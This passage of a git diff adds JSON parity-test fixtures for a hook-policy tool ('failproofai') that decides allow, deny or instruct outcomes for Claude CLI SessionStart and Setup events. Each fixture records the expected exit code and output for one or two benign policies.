"hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..288d939a --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2e467a1d --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..fc201b73 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..64100a1f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4fd493c7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b0df2344 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..855addb2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..74001005 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e28f8188 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..bd185196 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..19c37345 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..907e0da1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..24bfb947 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3528e75f --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f0a175bd --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..36bf9ca1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a47df12e --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..26352c16 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e844e832 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..002f7c48 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": 